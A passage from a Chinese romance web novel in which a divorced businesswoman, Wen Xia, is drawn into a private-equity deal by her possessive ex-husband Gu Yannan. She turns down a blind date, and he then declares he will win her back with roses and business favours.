去年年底的商会年会上,温砚跟通存老板的儿子吕浩明聊天时得知,通存有意向成立一个私募基金,目前在找合伙人。通存是一家靠医疗器械发家的老牌公司,老板吕董在业界也很有名,还是上一届的商会副会长,之前有做私募基金的经验,聊了几次之后,市场部经过评估,认为这个项目可以做。
但温氏毕竟是第一次做私募基金,能抽给这个项目的现金流不多,两家公司经过商讨,最终按照温氏三成,通存七成的比例出资。
今晚温夏就是来签意向合同的。
细节之前都谈的差不多了,但要签合同怎么能缺的了酒,温砚还在国外出差,就派温夏来吃这顿“情分都在酒里”的饭局。
好在吕浩明是个有分寸的人,温夏很给面子喝了三杯酒后,他没再为难她,一边和温氏公关部的经理聊天,一边吃他带来的女伴喂的水果。
这样的场合她已经从最初的不适到现在的习惯,吕浩明今年快四十了,作为合伙人来说,性格稳定,也很好沟通,唯一让人诟病的地方就是好色,每次饭局都会带比他小至少一轮的女伴。
期间,暧昧的调情和打情骂俏接连不断,温夏吃着面前的这道奶酪布丁,做的有点腻,不好吃。
她转动转盘,夹起一个糖渍小番茄,酸酸甜甜的汁水在唇齿之中溢满。
正要夹起第二个时,突然,包厢的门从外面打开了,温夏没在意,以为是服务员,身后却响起了周之恒的声音:“吕总好,听说您在这里,我们顾总正好有事跟您谈,就不请自来了。”
吕浩明连忙把坐在腿上的女伴推下去,边起身边整理衣服,朝他走去:“顾总,您有事找我直接让助理联系我,我单独请您吃饭,还要您亲自来。”
顾衍南淡笑了下:“临时想到的事。”
吕浩明赔笑道:“您请坐。”
他用眼神示意女伴把主座的位置空出来,顾衍南摆了摆手,随便拉了个椅子,恰好是温夏旁边的,“我坐这就行。”
吕浩明微微眯起眼,他自然知道温夏和顾衍南曾经是夫妻,原本还对顾衍南突然来找他有些意外,现在看来就能说得通了,难不成是怕他灌他前妻酒?还是怕他打上他前妻的主意?
“不知顾总来找我,是有什么事?”吕浩明笑着问。
顾衍南瞥了眼身侧的女人,淡淡一笑:“听说通存和温氏准备成立一个私募基金,顾氏对这个项目也有兴趣,不如我们一起把盘子做大?”
温夏转头朝他看去——
他怎么知道?
吕浩明眼睛一亮:“顾总看得上是我们通存的荣幸,我们求之不得!”
正常情况下,顾氏可不屑于跟他们公司合作,吕浩明快速看了眼温夏,估计是为了他这个前妻。
顾衍南眯眸笑了笑:“时间不早了,具体的事项顾氏的人明天会和通存联系,”说着,像是突然想起温夏似的,他朝温夏微微一笑,“温副总没有意见吧?”
温夏盯着他,抿着唇,没有说话。
顾衍南挑了下眉:“温副总不想让我进来?”
吕浩明瞳眸一闪,连忙道:“怎么会,能把盘子做大,温氏肯定跟我们通存一样求之不得,至于其他的——”
顿了下,他嘿嘿笑道:“做生意不就是为了赚钱吗,其他的问题都不是问题,你说是吧,温副总?”
温夏挤出个假笑:“当然。”
“我就说嘛。”吕浩明开始和顾衍南聊这个项目有多好,顾衍南始终维持着漫不经心的微笑,温夏则被晾在一旁。
没聊太久,顾衍南说有事要走了,吕浩明忙着问“明天和通存联系的是顾氏的哪位经理,好做对接”,顾衍南说了个名字,吕浩明才松了口气,看来顾衍南是真心想跟他们合作。
“哦,对了——”
顾衍南止住起身的动作,漂亮的桃花眼微微眯起,指尖轻点了几下桌面,语调仍是漫不经心的:“顾氏对外合作的规矩第一条就是必须由顾氏控股,关于股权分配的问题,吕总今晚可以好好考虑考虑。”
-
顾衍南走后,吕浩明在包厢内纠结极了,通存当然不想把控股权让出去,可是,顾氏的加入能让这个项目带来更多的收益,而且不答应顾衍南的条件,跟顾氏交恶,这才是最糟的结果。
这可怎么办才好?
他自己在那纠结半天,突然灵光一现,看向温夏,露出一个和善的笑容:“温副总,你知道顾总为什么突然要加入咱们的这个项目吗?”
温夏摇头:“不知道。”
吕浩明还想再问,但温夏就是一副“我不知道”的态度,他试探了几次觉得没劲,就没再问,匆匆散了这场饭局。
因顾衍南的临时加入,意向合同自然没签成,温夏这一顿饭无功而返,把怒意全都牵连到顾衍南的身上。
他这是什么意思?为什么要加入温氏参与的项目?这么多好的项目供者他挑,非要跟她挤在一起算什么?
还有她的内裤,到底去哪了!
在她的车旁看到顾衍南时,温夏没多少意外,她抿了抿唇,想要当做没看见,打开车门就要上车。
顾衍南却按住车门,低眸看着她。
一个往外拽,一个往里推,无声的僵持。
温夏按的手都酸了,冷冷道:“你再不松手,夹到你的手我不会负责。”
“你夹吧,我不会拿着医药费来找你索赔。”
温夏胸口憋着闷气,仰头看他:“顾衍南,你什么意思?”
她撤了力,顾衍南没再跟她“拔河”游戏,顺势把车门关上,看着她眸中的怒意,跟她绕弯子:“什么什么意思?”
那股闷气更盛,温夏冷眼睨他:“你为什么插手这个项目?”
顾衍南不仅没有心虚,反倒用一种批评的语气问她:“跟你说过多少次,选择合伙人要做充分的背调,你怎么做的?通存之前坑合伙人钱的事,你不知道?”
温夏愣住,连他的语气都没来得及追究,忙着问:“什么坑合伙人的钱?我当然做过背调,报告上显示没问题!”
“通存七八年前跟合伙人也是做一个私募基金,对方投了八个多亿,被他拿去收购自己的子公司,最后宣布破产,那个合作人的八个多亿就这么打了水漂,那个案子打到高院,吕浩明他爹差点进局子,后来不知道怎么私了的,这事闹了快两年才算完,你背调的什么你背调?”
被他这么一凶,温夏莫名有些委屈,她之前又不关注这些,这种事光看明面上的资料也查不出来,忍不住道:“我看他尽调报告和审计报告都是合法合规的。”
顾衍南很想去掐她的脸,但他忍住了,没好气道:“这种报告要造假不是很容易?”
温夏闷着脸:“那你还加入?”
“因为他不敢坑我,”顾衍南淡淡睨着她,语气中是说不出的倨傲,“这个项目还不错,好好做的话回报率不会低,所以顾氏要控股,决策权在我手上,他没法暗箱操作。”商场上这种人不算少,坑合伙人钱的事,通存也不是个案,只要能掌握控制权,顾衍南不会担心被坑。
温夏仰头,直勾勾地看着他:“你缺赚钱的项目?”
顾衍南微微眯眼,作出一副漫不经心的态度:“当然不缺,原本不想插手,但你今天提起,我顺便调查了一下,免得你到时候被人坑钱忙得焦头烂额打官司,没时间陪小蠢狗,又让它抑郁了。”
“我才不会,再忙我都会回家陪它玩。”温夏气的鼓起腮帮。
顾衍南看着她这幅可爱的模样,很想抱在怀里亲,但他不能这么快把她吓跑,还不到时候。他把话题拉回正轨:“顾氏之前做过私募基金,跟我合作,你不会亏。”
温夏皱起眉,她不想跟他合作,不想跟他牵扯太多,虽然现在他没有像那段时间一样让她感到窒息,可……有个词叫做创伤性应激障碍,她潜意识里总是认为,跟他再次的深入接触会重蹈覆辙。
“那你们合作吧,温氏退出。”
顾衍南的瞳眸骤然一缩,眸底迅速划过一丝阴戾,他现在还这么让她避之不及?
顾衍南强压着发火的冲动,调试成漫不经心的语气:“何必呢温夏,且不说温氏前期投入了多少,你仅仅因为跟我那段已经结束的婚姻就这样避开我,你是不是太不成熟了?”
温夏咬着唇,冷冷地瞪着他。
顾衍南继续道:“温氏和顾氏都在一个城市,打交道是早晚的事,如果你因为我的原因就要避开顾氏参与的所有项目,既然这样的话——”
顿了下,他冲她恶劣一笑:“那我把北城所有的高档商场都买下来好了,你是不是要着手温氏珠宝的撤柜事宜?”
温夏瞳眸微微震了下,难以置信地看着他。
顾衍南慢悠悠地道:“你放心,我暂时还没闲得这么无聊,这个项目我是诚心要做,当初答应过不再缠着你也是真话,如果不是我主动放过你,你当你有本事摆脱我?”
温夏没说话,垂在身侧的手指攥在一起,十指纠缠。
顾衍南的目光自上而下落在她脸上,紧紧地盯着她的眼睛,还是漫不经心的语气,只是比起刚才,多了几分刻意的慵懒随性。
他居高临下地看着她,低声问:“还是说,你觉得我现在还对你念念不忘?”
第60章 接触新的男人
他这话的意思, 不就是在说她自作多情。
距离他答应不再缠着她已经小半年了,连她都从最初的几乎夜夜都会梦到他,到现在的很少再想起他, 他……再浓烈的感情也经不起时间的冷却。这小半年来, 他们连面都没见过,昨天的偶遇实属巧合,他的态度一直很坦然,是她胡思乱想了。
“没有,都过去这么久了,我没那么自作多情。”温夏对上他的眼睛,换上无坚不摧的淡笑脸, “通存的事,谢谢你提醒我,既然你决定加入这个项目的话,后续我们还会合作, 预祝我们合作愉快。”
她这幅公事公办的态度, 反倒是让顾衍南的脸沉下来, 如果他把内心的真实想法告诉她,跟她说“除非我死,不然你这辈子都别想摆脱我”, 她肯定会吓跑,跟那段时间一样,躲他躲的远远的,说不定还会病情加重。
可是她现在这副把他当成普通的合伙人的态度, 让他心里更憋闷,他们有过那么多的回忆,他对她来说应该是很特殊的一个存在, 她怎么能只把他当成普通的合伙人?
他是她的丈夫!他们还有一只狗!
顾衍南指骨收紧,手背上的青筋都凸了起来,他磨了下牙,想挤出个笑,却笑不出来:“上车吧,我先去你那看看小蠢狗,再回家。”
温夏皱着眉:“已经很晚了,你明天再去看不行吗?”
“这半年多都是我在照顾它,你当我对它没有感情?就你一个人会想它?”顾衍南不冷不热道。
温夏对他的指责没有辩解的底气,在言言的事上,她确实有很大的错。
她没法阻止顾衍南去看言言,只好让他上车。
顾衍南重重地把车门关上。
温夏坐在车里,被震了一下,扭过看他一眼,却只看到他的半张侧脸。
……
又发什么神经?
温夏没搭理他,把他当做空气,拿出手机处理未读短信。
工作信息处理完,点开和梁从音的聊天框。
梁从音还在孜孜不倦地推销那个叫林桉的小明星:[宝贝,我真觉得这孩子不错,你现在整天除了工作就是在家待着,多久没出来玩了,就这周末吧,我把他喊出来,你们见见呗。]
自从跟顾衍南一拍两散后,她每天的生活非常单调,工作,应酬,回家,像个机器人一样,梁从音前段时间忙着筹备新选秀综艺的事,没空陪她玩,她也不是个多爱出去玩的性格,再加上工作太忙了,就一直在家待着。
温夏想了想,是该出去逛逛了,不过……她回:[你别喊那个小明星了,我不喜欢娱乐圈的,一起出去吃个饭还得担心有没有狗仔偷拍。]
梁从音秒回:[明白明白,只要不是娱乐圈的就行是吧?]
温夏敷衍地回:[嗯嗯。]
发完短信,温夏摁灭手机,偏头看向她这侧的窗外。
没想到她没有爹妈和大哥催婚,反倒被梁从音给安排上了。
自从梁从音忙完选秀综艺之后,对给她安排相亲乐此不疲,好像温夏一日没有获得幸福,她就寝食难安一样。
温夏说过几次暂时不打算接触,梁从音也不听,遇到个看着顺眼的男人就推销给她,温夏也不拒绝,采取敷衍策略,随手翻翻后挑出几个不满意的点,把梁从音后续的约饭安排推掉。
她现在是真的没心力再跟别人谈情说爱,太累了,可是今晚顾衍南的话,让她重新思考了下她的未来。
他已经走出来了,说不定用不了多久就会找到新的陪他共度一生的人,而她今年三十岁,剩下的几十年里,一个人过的话未尝不可,但她的感情生活难道就要这样停滞不前吗?
正想着,手机又震动两下,温夏拿起来一看,梁从音效率实在高,短短几分钟,就给她挑了个新的候选人——
[这个是个医生,跟你哥和我们家祁总监一个大学毕业的,哥大医学院博士,比你大两岁,爹是私人医院的院长,妈是大学教授,他本人长得也算是文质彬彬一表人才,身高身材都不错,很适合一起过日子。]
温夏无奈:[你改行做媒婆吧。]
几秒后,梁从音发来一条语音,语气难得严肃,温夏瞥了眼身侧闭目养神的男人,插上耳机:“夏夏,你跟顾衍南这婚也离半年了,如果你还放不下他的话,就去找他吧,但你如果决心放下他,你可以从接触新的男人开始,不是让你跟他谈恋爱,只是接触接触,后续发展怎么样全看你们之间的缘分。”
温夏转了文字,盯着这段话。
良久,她回:[好。]
梁从音:[那我把你的微信推给他了?]
温夏:[嗯。]
她不是为了证明什么,从音说的对,她不该让自己的感情生活停滞不前,这个年纪,再爱再恨都不大现实了,她也没有心力再去爱谁恨谁——她曾听人说,人的爱恨是有固定的数值的,消耗完就不会再生了。
可以说,顾衍南已经把她为数不多的对于爱情的渴望消耗的差不多了,如果能遇到一个能聊得来的男人,她不奢求能陪她一生,那太久了,如果能陪她一段旅程,应该也不错。
这个点路上的车很少,车子一路畅通,抵达公寓楼下,温夏率先下车,顾衍南盯着她的背影,紧随其后。
就这么短短的一段车程,他敏锐地感觉到她身上有什么东西不大一样了。
这种陌生又熟悉的感觉,让他心慌。
……
门一开,言言迅速跑了过来,温夏蹲下来,摸摸它的脑袋,头也没回地对身后的男人说:“你陪它玩吧,我先去书房处理点工作。”
顾衍南怎么可能听不出她在躲他,他看着她起身,头也不回地走向书房。
“砰”的一声。
一人一狗被关在门外。
她不在,顾衍南不用再掩饰,脸色冷沉的骇人。
言言似是感知到他的情绪,用脚扒拉他的裤腿:“汪!”
顾衍南心里不爽,对它也没什么好脸色,拍了它的头一下,不冷不热地问:“你妈怎么了?”
言言:“汪汪!”
顾衍南眯着眸,看着紧闭的房门,眉眼冷然,忍不住去想自己哪句话说错了,又惹她不高兴了。
还是因为他关车门的声音重了?
他只是想让她发现他不高兴,能问他原因,可她上车后就低头看手机,一句话都没搭理他。
顾衍南很想冲进她的书房,强行把她抱出来,然后问她为什么又不理他了,可是这样只会让他们的关系变得更糟,连这表面上的平和都没法维持。
顾衍南说服自己不去烦她,又陪小蠢狗玩了一会儿,起身,卷起袖子去给她煮醒酒茶。
他闻到她身上的酒味了。
煮完醒酒茶,他盛出来,端到餐桌上。
走到书房前,本想直接进去,手都握上门把手了,还是改为敲门:“我给你煮了醒酒茶,在餐桌上,你记得喝。”
几秒后,屋内传来女人的声音:“嗯,知道了,谢谢。”
顾衍南为她的疏离冷淡皱眉,他压着情绪,温声道:“我先回去了。”
“嗯,再见。”
“……”
顾衍南忍了又忍,握着门把手的指骨被捏到泛白,才打消强行闯入她书房的冲动。
“早点休息,晚安。”
屋内的女人没有回应。
等了半分钟左右,顾衍南自嘲地扯了扯嘴角,松开握着门把的手,转身离开。
-
温夏对他的刻意冷淡,长了眼睛的都能看得出来。
顾衍南一连几天,每天傍晚都去她的公寓,她没有不让他进来,可他一来,她就躲在书房,一直到他走都不出来。
显然是不想跟他接触。
他哪句话又吓到她了吗?
顾衍南坐在车里,车窗落下,他一只手夹烟,搭在车窗上,掌面微浮的青筋蔓延至衬衫袖口之下。
今天是周末,他下午四点给她发短信,说要早点来看小蠢狗,她却说有事不在家,让他晚点来。
她不是闲人,周末加个班很正常,顾衍南没有多想,原本打算在她家蹭晚饭的,他在家待了一会儿,还是驱车来了,坐在车里,漫不经心地盯着门口的方向。
烟抽了一根又一根,正要再拿一根新的,发现烟盒空了。顾衍南皱了皱眉,他这段时间的烟瘾比之前大多了,以前她会管着他不让他多抽。
现在没人会管他。
顾衍南把打火机一扔,眼神淡漠地看着大门的方向,突然,那道熟悉的纤细身影闯入视线,他脸色缓了缓,拿着手机准备下车。
可下一刻,他的瞳眸骤然一缩,因为他看到驾驶座上下来一个西装革履的男人。
显然,不是司机。
更显然,她说的“有事”,跟这个男人相关。
她把他晾在楼下几个小时,就是和别的男人待在一起?!魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m
60-70
第61章 “你觉得我还能走出来吗……
虽然她说了让他晚点来, 是他自己非要来她家楼下等,可如果不是这个不知道从哪儿冒出来的野男人占了她的时间,她今天本该待在家, 他也不至于等这么久。
今天是周末, 他好不容易有个名正言顺的理由早点来找她,她却和另一个男人在一起。
她难道忘了答应过他的事吗?
顾衍南握着车把手的指骨一寸寸收紧,关节攥到泛白,昏暗光线下,他的眼神阴沉得如深夜的海面。
是她亲口答应他,在他不爱她之前,不会和别的男人接触, 他这辈子都不可能不爱她,所以她这辈子都不能对别的男人动不该有的心思。
她明明亲口答应过他,现在居然和其他男人约会,顾衍南沉着脸, 推开驾驶座的门, 是她先违约的, 他有充分且正当的理由收回“不再缠着她”的承诺。
路灯落下昏暗冷光,顾衍南隐在黑暗之中,幽幽地望着站在车旁的一男一女, 迈开长腿朝他们走去。
他靠近时,正好听到那男的问她:“不知道温小姐下周末有时间吗?我朋友的话剧在下周六晚上上演,如果你有时间的话,我们可以一起去看。”
快要入夏了, 她今天难得没穿职业装,穿的是一条鲜妍的碎花长裙,黑色长发被她编成鱼骨辫垂在脑后, 看起来跟十八岁那会儿没差。
顾衍南的脸色更沉,她跟野男人出去还特意打扮了?是想着给那男的留个好印象吗?
他阴着脸,长腿快步走过去,正要打断他们的对话,女人轻柔的嗓音响起:“不好意思,我没时间。”
徐谦微怔,这句话对于他们之间来说,无异于拒绝,他失望地闭了下眼,不死心地问:“那你什么时候有时间?我们可以一起去看电影。”
温夏的眸中闪过一丝无奈,直白道:“抱歉,我想我们可能不太合适,就不耽误你的时间了。”
顾衍南脚步倏地顿住,微微眯起眼睛。
徐谦失落地看着她:“我能问问原因吗?你对我有哪里不满的吗?我都可以改。”
他这两年被家人逼着结婚,零零散散相了不少次亲,都没遇到让他心动的。本来这次也没抱多大的希望,但当他看到温夏第一眼的时候,毫不夸张地说,他一见钟情了。
虽然被拒绝还死缠烂打有失风度,可人这一生何其幸运能碰上让自己心动的人,他宁愿被打上“舔狗”的标签,也不想就这样放弃她。
面对徐谦真诚炙热的目光,温夏尴尬之余,有一丝的愧疚。
早知道不答应从音去见面了。
她对他并没有什么不满,相反,可以说徐谦很贴合她理想中认为自己需要的丈夫模板。
他给她的感觉,和祁源给她的感觉很像,斯文温和,无论是做朋友还是做夫妻,都会是不错的选择。
她也很羡慕梁从音可以遇到祁源这样百般包容她,懂得如何爱她尊重她的丈夫。
徐谦是个风趣幽默的人,晚饭期间,两人相谈甚欢,他不会像顾衍南那样说着说着就突然翻脸,也不阴阳怪气,她觉得她该对徐谦有好感的,可偏偏……心如止水。
尤其是看着徐谦看她的眼神,越是深情越让她愧疚,因为她无法回馈。
不想在明知不会有结果的情况下给他希望,让他越陷越深,到时候再拒绝,以徐谦的性格估计不会像顾衍南那样死缠烂打,可会加深她的愧疚。
她不算什么善良的人,可也不想平白无故伤害别人。
温夏微微抬眸,对上他的眼睛,坦诚道:“不是你的问题,是我的问题,你是个很好的人,你会遇到命中注定的那个人,只是,我没有那么幸运。”
徐谦苦笑道:“这段话是很常见的拒绝人的模板。”
也许是他和祁源给她的感觉太像,温夏多解释了句:“我没有敷衍你的意思,跟你相处很轻松也很愉快,但我想我心里还有些没有处理干净的感情,就这样继续和你接触,对你不公平。”
徐谦自是知道她离过婚,看着她的眼睛:“我能问问,你指的是,你的前夫吗?”
温夏的眼神变得有些迷茫,她摇头:“我……我不知道。”
徐谦和她不是一个圈子的,对顾衍南和她的那段婚姻仅限于小道消息,传闻说她心机深沉,是一朵不折不扣的黑心白莲花,今晚一顿饭下来,他可以断定传言有误。
她和她前夫,传闻中多说他们彼此生厌,可如果她真的很讨厌她前夫的话,他刚刚提到,她并没有表现出嫌恶,反倒是迷茫,像是她自己也没弄懂是不是。
“我本科的时候学的是化学,课上老师讲过一个很有意思的理论,”徐谦看着她,淡淡笑道,“他说,人和人之间为什么会‘来电’呢,是因为他们之间产生了化学反应。就像澄清的石灰水遇到二氧化碳会变浑浊,人也是由各种化学元素构成的,每个人身上的化学元素都不同,能吸引你的人,必定是因为他身上有你需要的元素。反之,有的人你觉得再好,可他身上有的东西是你本身就有了的,你们之间永远不会‘来电’。”
“说俗点,就是缘分,”他摊了摊手,“年轻那会总是不相信所谓的命运,可随着年纪越来越大,也越来越相信‘命运’了,有的人之间注定缘定三生,而有的人之间只能是有缘无分。”
“人这一生能碰到让自己心动的人不容易,”徐谦叹了口气,无不可惜道,“如果你也能对我有感觉的话,我会排除所有的困难和你在一起,但谁叫你对我‘不来电’呢。”
徐谦走后,温夏一个人在原地站了很久,不知道从哪儿传来的鸣笛声响起,她回过神,往公寓楼走。
刚转身,她就看到站在她身后,静静盯着她的顾衍南。
距离不远,大概五六米,他单手插在兜里,站在人来人往的大门口,轻而易举脱颖而出。
他今天仍是特意打扮过的,修长的双腿被黑色西裤包裹着,熨帖得没有一丝褶皱,上身的黑色衬衫裁剪精良,单站在那里,矜贵又冷漠。
那双漂亮的桃花眼静静地凝视着她,眼神深邃复杂,里面蓄满很多她读不懂的东西。
温夏收回视线,抬腿往前走,仿若没看见他。
这样赤.裸裸的忽视,放到平日,顾衍南心里又得憋着火,可想到刚才偷听到的话,他心情甚好,便没把她刻意的忽略放在心上。
一路无言,坐电梯上楼,到了家门口,温夏开锁时,顾衍南打破沉默:“我来看小蠢狗。”
“嗯。”温夏的声音很冷淡。
“滴滴”两声,门打开,温夏推门走进去。
不用她说,顾衍南跟了进来,低头找他的拖鞋——这是他自己买的,理由是他经常要来,而且一待待很久,不换鞋的话会把地板弄脏。
换完鞋,顾衍南继续引入话题:“你一整个下午都不在家?”
虽然她对那男的没有意思,但她和那男的一整个下午待在一起这件事,仍值得他发作一番。
温夏把包扔到沙发上:“嗯。”
说完,头也不回地就要进书房,一个字都不愿意多跟他说。
饶是顾衍南此刻心情再好,也受不了她这般冷暴力,声音沉了下来,质问:“温夏,你还记得你答应过我什么吗?”
温夏脚步一顿,缓缓转身,皱眉看他:“记得。”
“你既然记得的话,你还跟别的男人约会?”顾衍南迈开长腿几步走到她跟前,低眸看她,“我们当时约定好的,你如果毁约的话,我之前的承诺都不作数了。”
“我没有毁约,”温夏直勾勾地对上他的眼睛,“你当时说的前提是在你不爱我之前,你前几天不是说已经放下了吗?”
顿了下,她扯了扯唇:“你都已经走出来了,我难道还得为你守身如玉一辈子?”
“你哪只眼睛看见我走出来了!”去他的欲擒故纵!顾衍南要被她气死了!
压制的情绪突然爆发,他又朝她走了一步,把两人的距离拉到近在咫尺,哑声低吼:“走出来?如果不是因为爱你,我是闲的每天来找你?我就喜欢看你的冷脸?我自己没钱买房子就要赖在你家?我吃不起饭非要蹭你的晚饭?”
“走出来?”他哑声重复这三个字,双手扣住她的肩膀,力道无意识不断加重,低喃着,“温夏,你觉得我还能走出来吗?”
温夏眼皮募地一酸,她别过头:“我怎么知道。”
反正已经装不下去了,顾衍南没再掩饰,伸手抚上她的脸,低低道:“你因为我生病,因为我总是不开心,我带给你的好像总是伤害,我想,我不该再缠着你了,看不见我,你的心情会好一点,身体也会恢复得更快一点,所以……我那段时间有试着放下你。”
她想躲开他的手,顾衍南顺势抬起手,摸着她的头发,嗓音低哑到模糊:“那段时间我每天加班,工作安排的满满的,想用工作麻痹自己,可我还是忍不住想见你,于是我安排去国外的行程,想你的话就看我们以前的照片,可那根本没用,越看我越想你。”
温夏紧紧抿着唇,没有吭声。
“我说我没对你念念不忘,是不想你像之前那样躲着我,事实上,我每天都在想你,”顾衍南叹了口气,“温夏,如果能走得出来,我比谁都想走出来,可是怎么办,我没法做到不爱你,你说,这是不是该怪你?”
顾衍南向来傲慢,一句“我爱你”憋了这么多年才说,今天情话像是不值钱似的,一口一个“我想你”“我爱你”,温夏的神经不受控制地蜷缩,一时不知道该做什么反应。
“怪你自己。”她回嘴。
“嗯,都怪我。”顾衍南好脾气地认罪认罚,抓着她的手腕,趁着她没反应过来,低头快速在她的手背上亲了亲,抬眸,眼睛直勾勾地盯着她:“我收回那句违心的不再缠着你——”
他低下头,跟她保持平视,语气坚定而认真:“你之前说我自私,这话没说错,我就是个自私的人。为了我自己的幸福,我会把你追回来,所以,就算你再烦我讨厌我,我也要追你,你提前做好心理准备。”
第62章 这混蛋的脸皮越来越厚了……
把话挑明后, 顾衍南雷厉风行地采取行动。
第二天上午九点,温夏刚到办公室,两个秘书一起“抬”来一大束玫瑰花。
秘书转达送花的工作人员的话, 这是999朵弗洛伊德, 是顾先生特意安排从国外空运来的,还有一张顾先生亲手写的卡片。
温夏尴尬地看着要两个人才能搬动的玫瑰花,眼皮跳了跳,从秘书手中接过卡片——
眼皮跳的更厉害了。
卡片上写着:祝温大小姐永远璨若玫瑰。
“…………”
黑色钢笔字遒劲有力,温夏看完后头皮止不住发麻,他这是中了什么邪?怎么开始走矫情路线了?
顾大公子只是长得“花里胡哨”,实则是个很务实的人, 他们结婚的那两年,他也买过花给她——也不能说是给她,是买来装饰家里的。
往往是两人一起逛超市,顺手买几朵回去插花瓶里。
这样浮夸的巨大花束, 还是头一次。
而且他从不说这么矫情的话, 什么璨若玫瑰, 温夏光是脑补他的语气,就尬的头皮发麻。
两位女助理自是看到了这句话,眼睛里闪烁着八卦的光芒, 想也不用想,这将会是集团内部今日的头条新闻。
这种矫情的话,被她一个人看就算了,还被下属看到, 温夏差点绷不住表情。她轻咳了声:“把花放茶几上吧。”
“好的。”
待助理走后,温夏看了眼巨大的花束,几秒后, 收回视线,打开电脑处理了几封邮件,才起身去看它。
鲜妍的玫瑰花,娇艳欲滴,上面还有透明的水珠。
很漂亮。
温夏从花束里抽了几支,给办公室的几个花瓶都换上新花,然后按下内线电话,让助理们把花拿下去分了。
也许是因为她收下他的花,没有退回去,第二天,顾衍南又让人送来了同样规格的花束。
温夏秀眉微蹙,等助理走后,立刻拨通他的电话。
电话那头等了几秒钟才接通,背景声音乌泱泱的,还有机械播报声,听着是在机场。
没等她开口,顾衍南低声问:“温大小姐,今天的玫瑰花收到了吗?”
温夏靠在椅背上,单手转着钢笔,语调淡淡:“你之后不要让人送花了,我的助理有正事要忙,没空处理你的花。”
刚下飞机的顾衍南听着女人傲娇的语气,眼前自动浮现出她傲慢的表情,唇角勾起浅淡的笑意,低笑出声:“抱歉,这两天去外地出差了,才安排员工送花,之后不会再麻烦你的助理了,明天我会亲自送。”
“烦请温副总提前和楼下前台说一声,让他们放我进去。”顾衍南想进当然能进,只是他现在处于追求她的阶段,自然得放低姿态。
“……”温夏冷声道,“我的意思是,我不要你的花。”
“为什么?你不是喜欢弗洛伊德吗?之前看电影的时候,你不是说这花好看。”
温夏大脑不自觉搜索这段记忆,好像他们一起看电影的时候她是说过喜欢这个品种的花。
当时顾衍南颇为意外,还以为她会喜欢白玫瑰那样的浅色系,弗洛伊德这样浓艳的花不会在她的审美范围。
不止顾衍南这么认为,以前有很多追求她的男生送花往往都会送她白玫瑰或者白蔷薇,似乎她就该喜欢这种仙气飘飘的花,温夏自己也说不上来,她为什么独爱绚丽热烈的弗洛伊德。
“花很好看,但是——”
她的话没说完,就被顾衍南打断:“好,那明天还送这个。”
顿了下,他加了句:“我亲自送,你别忘了让人放我进去。”
顾衍南也当然听得出她不想要他的花,所以在她说出口之前先一步打断,她没说出来,他就当听不懂。
“我这边进来个新的电话,先挂了。”然后匆匆挂断电话。
温夏听着嘟嘟嘟的断线声,胸口一阵气闷,他是脑子瘫了才听不懂她的意思,就是在故意岔开话题。
她自是不可能再打个电话过去专门说这个事,搞得好像她很在乎一样。
于是第二天上午,顾衍南亲自来了。
温夏当然不会听话到主动跟前台说放他上来,也不知道他怎么上来的,她刚进办公室没半小时,助理就来敲她的门,“温副总,有人找您。”
“谁?”温夏头也没抬。
助理:“……顾总。”
温夏敲键盘的手指微顿,抬眸,就看到站在门边对着她低笑的男人,他手里捧着一小束玫瑰花,还自带一个花瓶。
“温副总,我能进来吗?”男人低沉磁性的嗓音含笑,很成熟性感的声音。
助理听着起了层鸡皮疙瘩,好好听的声音!温副总好幸福!
她拼命忍住打探的目光,努力缩小存在感,想要待在吃瓜最前线。
可惜被温副总赶了出来:“你先出去吧。”
助理颇为遗憾地说了声“好的”,最后看了眼已经登堂入室的顾大公子,直觉温副总和顾大公子复婚指日可待。
温夏没说让顾衍南进,他自己问完那句话就自顾自进来了,她总不能当着助理的面跟他吵,只好闷不做声。
这混蛋的脸皮越来越厚了!
顾衍南把花瓶放到她桌上,然后把花插在里面,举起来观赏几秒,淡笑:“还不错。”
温夏瞥了眼花瓶,把心里的不爽发泄出来:“我办公室里有花瓶,没空放你的。”
顾衍南好脾气地道:“你挑一个不那么喜欢的,我带回去放我办公室。”
温夏冲他虚假一笑:“我哪个都很喜欢。”
听出她是在故意挑刺找茬,顾衍南也不气,把花瓶放到空荡的位置,一本正经地解释:“这个花瓶是我昨晚在拍卖会上特意给你拍的,四百二十一万,你要是不喜欢就扔了吧。”
“……”
如果他不说价格,她真的会扔掉。
倒不是扔不起,只是觉得浪费。
顾衍南随意拨弄着玫瑰花瓣:“我带了一大束花来,你助理说你只留了几朵,剩下的都分给他们了。”
温夏抿着唇:“这么多花,我怎么可能插的完。”
“有道理,”他随口道,“那以后只送一小束。”
温夏听着他淡淡然的语气,不知为何特别恼火,冷声把话挑明了:“你说的追我,就是指给我送花?”
“送花只是其中的一个环节,只是这两天忙着出差,没来得及实施。”男人的语气特别好。
他这话的意思,好像她在迫不及待等他追她,温夏冷着脸,双手环胸:“花已经送到了,你可以走了。”
顾衍南看着高冷傲娇的女人,薄唇勾起浅淡的弧度,高傲得像只布偶猫,连赶他走的语气都那么可爱。
她最近似乎越来越爱穿明亮色系的衣服,上次穿的碎花裙,今天是一件暗红色衬衫,衬得她更白了,v领的设计,透着股轻熟的妩媚。
前几天把话挑明,顾衍南原本打算第二天就来找她,但外地分公司突然出事,他只能先让人给她送花,这两天闲暇之余在网上查了不少追女孩的攻略。
绝大多数都是让他一步一步来,切勿操之过急,可看着她穿成这样来上班,锁骨露了这么大一片,他只想就地把她按在办公桌上进入。
上班为什么要穿这种衣服!
但他现在没有名正言顺的立场让她把衣服换掉,只能把这口气憋在心里,见她快到发火的边缘,没继续逼她:“嗯,不打扰你工作了,你忙吧。”
说完,他真的走了,出去时还贴心地帮她把门带上。
“……”
温夏心里一阵无语——
所以他真的专程来送花给她的?
-
顾衍南当然不是只来送花。
从温夏的办公室出来,他转身去了温砚的办公室。
温砚看到他没多意外,放下钢笔,淡淡道:“顾总来找我有什么事吗?”
顾衍南:“哥。”
“……”
温砚眼皮一跳,胳膊上起了层鸡皮疙瘩,以前,他还是他妹夫的时候,也没听他喊一句哥。
都是温总、温总的叫着。
现在又是搞哪出?
温砚的心路历程和温夏差不多,他靠在椅背上,淡淡笑开,“我没记错的话,顾总和我妹妹已经离婚半年了,这声哥我担不起。”
顾衍南像是没听到这句话:“哥,我来找你谈合作的。”
“哦?”
“顾氏正在建造的旅游度假村,目前在招标酒店入驻,不知道温氏有没有兴趣?”
温砚抬手扶了下镜框,眉梢微挑:“你这是给我送钱来了?”
景区的酒店,无论是收费标准还是客流量,都不用操心。
